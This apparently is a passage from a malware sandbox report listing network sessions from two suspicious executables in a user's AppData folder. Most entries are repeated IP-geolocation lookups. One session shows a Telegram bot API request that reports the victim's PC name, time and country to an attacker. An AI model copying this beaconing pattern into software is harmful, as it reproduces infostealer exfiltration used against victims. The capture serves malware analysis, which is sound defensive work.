2024-07-26 21:45:39 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-07-26 21:45:39 UTC	712	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 21:45:39 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 52952 Last-Modified: Fri, 26 Jul 2024 07:03:07 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=q%2FiKxM6jHOPgjvjJ3GOSPxP2IgRTtzPJFYjeoSRKlfKSBxc0uZMXtLHWThcwvXC7lf1HKwPu%2BN9ng9J74x5%2Bo8p%2BHHV%2B5cB5vlgm8qBR1QXi%2FP529DkTUzd7XrXRjpCYW5v8CaZY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a9793f6ffb77288-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 21:45:39 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-07-26 21:45:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.22	49181	188.114.96.3	443	3880	C:\Users\user\AppData\Roaming\swagodi78811.scr

Timestamp	Bytes transferred	Direction	Data
2024-07-26 21:45:41 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-07-26 21:45:41 UTC	714	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 21:45:41 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 52954 Last-Modified: Fri, 26 Jul 2024 07:03:07 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BzMaFP3yp9jCNdr%2FQPxMFlWCImvFMvJWuEcBJ0HFlyROUwFui6hBaKmavYu%2BvxgOh1Sb8H6GwhptWK46dyClykG3%2FTZeGxMbqJmh1k%2F49TSL4A%2BXzkNRkwk0f0rEcW9mV%2BpCk5FM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a9794012c0c43f2-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 21:45:41 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-07-26 21:45:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.22	49183	188.114.97.3	443	2060	C:\Users\user\AppData\Roaming\gRpkBp.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 21:45:42 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-07-26 21:45:42 UTC	708	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 21:45:42 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 52955 Last-Modified: Fri, 26 Jul 2024 07:03:07 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mzCvUKwVsfh%2Bf5HFiuvfY6Eq6NkRRCjmSDMHMgPF7uqoekI53ZpSPf7Z4j7r8QPhHUt%2F5KJdKF55XJcAePbT2j00Zpn1jVdOuZ9Z%2FV9rHakTCYoRQJNxWdBAmJ3GbrxqT5PPE%2Fjw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a9794067da6187d-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 21:45:42 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-07-26 21:45:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.22	49186	188.114.96.3	443	3880	C:\Users\user\AppData\Roaming\swagodi78811.scr

Timestamp	Bytes transferred	Direction	Data
2024-07-26 21:45:43 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-07-26 21:45:43 UTC	716	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 21:45:43 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 52956 Last-Modified: Fri, 26 Jul 2024 07:03:07 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vzas4S%2FwBtOQlzVTaimikMNz2yy8%2F9w8HNjgIDWNz6fK%2BW0DEiiwD2SlS30QniGKd%2BVT8XUeNaWGmBdivppWimBD9FpG%2FGnCo2I0RMUahfkv6Su6o3%2FUd%2FCgFpsWWb9QHBOhzSJ%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a97941139c942d0-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 21:45:43 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-07-26 21:45:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.22	49188	188.114.97.3	443	2060	C:\Users\user\AppData\Roaming\gRpkBp.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 21:45:44 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-07-26 21:45:45 UTC	704	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 21:45:45 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 52958 Last-Modified: Fri, 26 Jul 2024 07:03:07 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=l3Dr9o7%2Bc7SeJeOrpbKcUseqs0fO23KPLVC3jy2oZ70R3T1kJ27crmNw4IuoGVQuvk6hHhSDLOlGkTjZFi7EMuaVOMK0GZEcS86AHyODGnAs5dfHcXdCVcisegxnL8zzBS%2FJpyBN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a979418ae6f7c90-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 21:45:45 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-07-26 21:45:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.22	49189	188.114.96.3	443	3880	C:\Users\user\AppData\Roaming\swagodi78811.scr

Timestamp	Bytes transferred	Direction	Data
2024-07-26 21:45:45 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-07-26 21:45:45 UTC	722	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 21:45:45 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 52958 Last-Modified: Fri, 26 Jul 2024 07:03:07 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xa2T%2BFUzCyhdxO5gfIZfiU24iOGD6pxoc4JWlhED3Ym8aOcbs51JruV%2FIMwFZ%2BbKI%2B36Hm%2F%2BjMoEe8edXWUtq605P8YM%2BR%2BTBgl%2F%2B5UTSX4ndng1uYPhoJ%2BfiI638uDUiSiPKfCq"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a97941c1c5243e8-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 21:45:45 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-07-26 21:45:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.22	49192	188.114.96.3	443	3880	C:\Users\user\AppData\Roaming\swagodi78811.scr

Timestamp	Bytes transferred	Direction	Data
2024-07-26 21:45:47 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-07-26 21:45:47 UTC	706	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 21:45:47 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 52960 Last-Modified: Fri, 26 Jul 2024 07:03:07 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bOno3iJJ22ihgUAEFf7SL8%2B0akGYRFerwQzebtELe%2BnlzkJhv2iiUz4%2BTPLH8hUsfmc05fOy0FCEwhfuk4dR32e1mxwtzd3OH3Rrt2eSqwJRqt9pA5KLhDmIsv20Nz29wUnP8XJa"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a979425bb325e73-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 21:45:47 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-07-26 21:45:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.22	49193	188.114.97.3	443	2060	C:\Users\user\AppData\Roaming\gRpkBp.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 21:45:47 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-07-26 21:45:47 UTC	704	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 21:45:47 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 52960 Last-Modified: Fri, 26 Jul 2024 07:03:07 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=L56wdnqxpgpbX9pv9DJ8UCEavw1e6Zg25GZhaCUbwjeFqQwVh0sEgwwqmEfDw25j6GXeckaU4J9wuhjup5cNVCsLhSlf4howdQAIQTi5F%2FPVry6do14NtNMiERhh52ZqXoGM%2FWCT"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a9794276e503314-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 21:45:47 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-07-26 21:45:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.22	49194	149.154.167.220	443	3880	C:\Users\user\AppData\Roaming\swagodi78811.scr

Timestamp	Bytes transferred	Direction	Data
2024-07-26 21:45:47 UTC	348	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:528110%0D%0ADate%20and%20Time:%207/27/2024%20/%207:26:36%20AM%0D%0ACountry%20Name:%20United%20States%0D%0A[%20528110%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20] HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-07-26 21:45:48 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Fri, 26 Jul 2024 21:45:48 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-07-26 21:45:48 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.22	49196	188.114.96.3	443	2060	C:\Users\user\AppData\Roaming\gRpkBp.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 21:45:48 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-07-26 21:45:48 UTC	706	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 21:45:48 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 52961 Last-Modified: Fri, 26 Jul 2024 07:03:07 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CDM1u99eMl9a47VgUxQf2MSN%2FdBGGhTx0JeohTYeShVR10oDU3A30GWCFNrarEbCF0FbKWcR8CrmIf%2B9iUiyifMBnfMe81acY033pTX5iBMB2ImXldo%2FL5WqjYRow0vGt5DetZNM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a97942ebba142b3-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 21:45:48 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-07-26 21:45:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.22	49198	188.114.97.3	443	2060	C:\Users\user\AppData\Roaming\gRpkBp.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 21:45:49 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-07-26 21:45:50 UTC	702	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 21:45:49 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 52962 Last-Modified: Fri, 26 Jul 2024 07:03:07 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kSrH6UDBFGVfK8t209KHi4eranLMcdc5sHzJAP6nePHjBaGwSJIrf4J1ZutNrnMiqNXX9WPutP5y88xDCIajrZ4ouXOqjBiiMNu7W4%2FeOorNn0tDXKncql3tq02XpwrPdeiWUwJJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a9794375fcb0ca0-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 21:45:50 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United 